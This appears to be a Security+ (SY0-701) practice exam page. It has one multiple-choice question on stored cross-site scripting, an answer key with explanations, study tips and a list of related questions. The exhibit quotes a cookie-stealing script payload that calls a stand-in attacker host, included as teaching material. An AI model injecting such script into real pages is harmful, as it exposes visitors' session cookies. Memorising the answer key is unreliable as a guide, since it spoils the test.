Question 1mediummultiple choice
Full question →mediummultiple choiceObjective-mapped
Exhibit
Support ticket excerpt:
A customer posted the following in a public product review field:
<script>fetch('https://evil.example/steal?c='+document.cookie)</script>
The same script later appeared in the review page for other visitors, and the security team found several unexpected requests to the attacker-controlled domain.Based on the exhibit, what vulnerability is the application most likely suffering from?
Answer choices
Why each option matters
Good practice is not just finding the correct option. The wrong answers often show the exact trap the exam wants you to fall into.
A
Best answer
Stored cross-site scripting, because attacker-controlled script is saved and later rendered to other users.
Stored cross-site scripting is correct because the malicious script was submitted once, saved by the application, and then executed for other visitors when the review was displayed. The evidence of requests to the attacker domain confirms that the browser executed the injected script and exposed user data.
B
Distractor review
Command injection, because the script attempts to send cookies to a remote host.
Command injection targets the server's operating system or shell, usually through system commands. This exhibit shows browser-side script execution in a review page, not OS command execution.
C
Distractor review
Session fixation, because users saw the same review page after posting.
Session fixation involves forcing or reusing a session identifier so the attacker can hijack an authenticated session. The exhibit describes injected script stored in content, not a manipulated session token.
D
Distractor review
Insecure deserialization, because the payload is embedded in a review field.
Insecure deserialization requires unsafe parsing of serialized objects. The payload here is executable script in a web page field, which is characteristic of XSS rather than object deserialization.
Common exam trap
Common exam trap: answer the scenario, not the keyword
Many certification questions include familiar terms but test a specific constraint. Read the exact wording before choosing an answer that is generally true but wrong for this case.
Technical deep dive
How to think about this question
This question should be treated as a scenario, not a definition check. Identify the problem, the constraint and the best action. Then compare each option against those facts.
KKey Concepts to Remember
- Read the scenario before looking for a memorised answer.
- Find the constraint that changes the correct option.
- Eliminate answers that are true in general but not in this case.
- Use explanations to understand the rule behind the answer.
TExam Day Tips
- Underline the problem statement mentally.
- Watch for words such as best, first, most likely and least administrative effort.
- Review why wrong options are wrong, not only why the correct option is correct.
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More questions from this exam
Keep practising from the same exam bank, or move into a focused topic page if this question exposed a weak area.
Question 1
A laptop is suspected of being used in a malware incident. It is still powered on and connected to Wi-Fi. What should the responder do before shutting it down?
Question 2
An employee reports a ransomware note on a file server. The server is still powered on, shares are still being accessed, and management wants service restored as quickly as possible. What should the incident response team do first?
Question 3
An employee reports a ransomware note on a finance laptop. The laptop is still powered on, connected to Wi-Fi, and the user says they were just working in a spreadsheet. Management wants the fastest safe response that also preserves evidence. What should the responder do first?
Question 4
You are handed a company laptop suspected in an insider theft case. Legal says the evidence may be needed in court. Which action best preserves admissibility?
Question 5
A developer wants to reduce the risk of SQL injection in a new customer search form. Which two changes are the best mitigations? Select two.
Question 6
A branch office uses a flat LAN, and a compromise on one user workstation could spread quickly to finance systems. Management wants finance workstations isolated from general users, but finance staff still need access to a central finance application and network printer. What is the best design change?
FAQ
Questions learners often ask
What does this SY0-701 question test?
Read the scenario before looking for a memorised answer.
What is the correct answer to this question?
The correct answer is: Stored cross-site scripting, because attacker-controlled script is saved and later rendered to other users. — The correct answer is stored cross-site scripting. The attacker submits script code into a public review field, and the application later serves that content to other users without neutralizing it. That means the payload is stored on the server and executed in other visitors' browsers. The cookie-stealing request to the attacker's domain is a clear indicator that the malicious script ran successfully in a client context. Why others are wrong: Command injection would affect the server or backend shell, not users' browsers. Session fixation is about controlling a session ID, which is not shown here. Insecure deserialization involves unsafe object handling, not a script field in a review page. Because the payload is saved and replayed to other visitors, stored XSS is the best answer.
What should I do if I get this SY0-701 question wrong?
Then try more questions from the same exam bank and focus on understanding why the wrong options are tempting.
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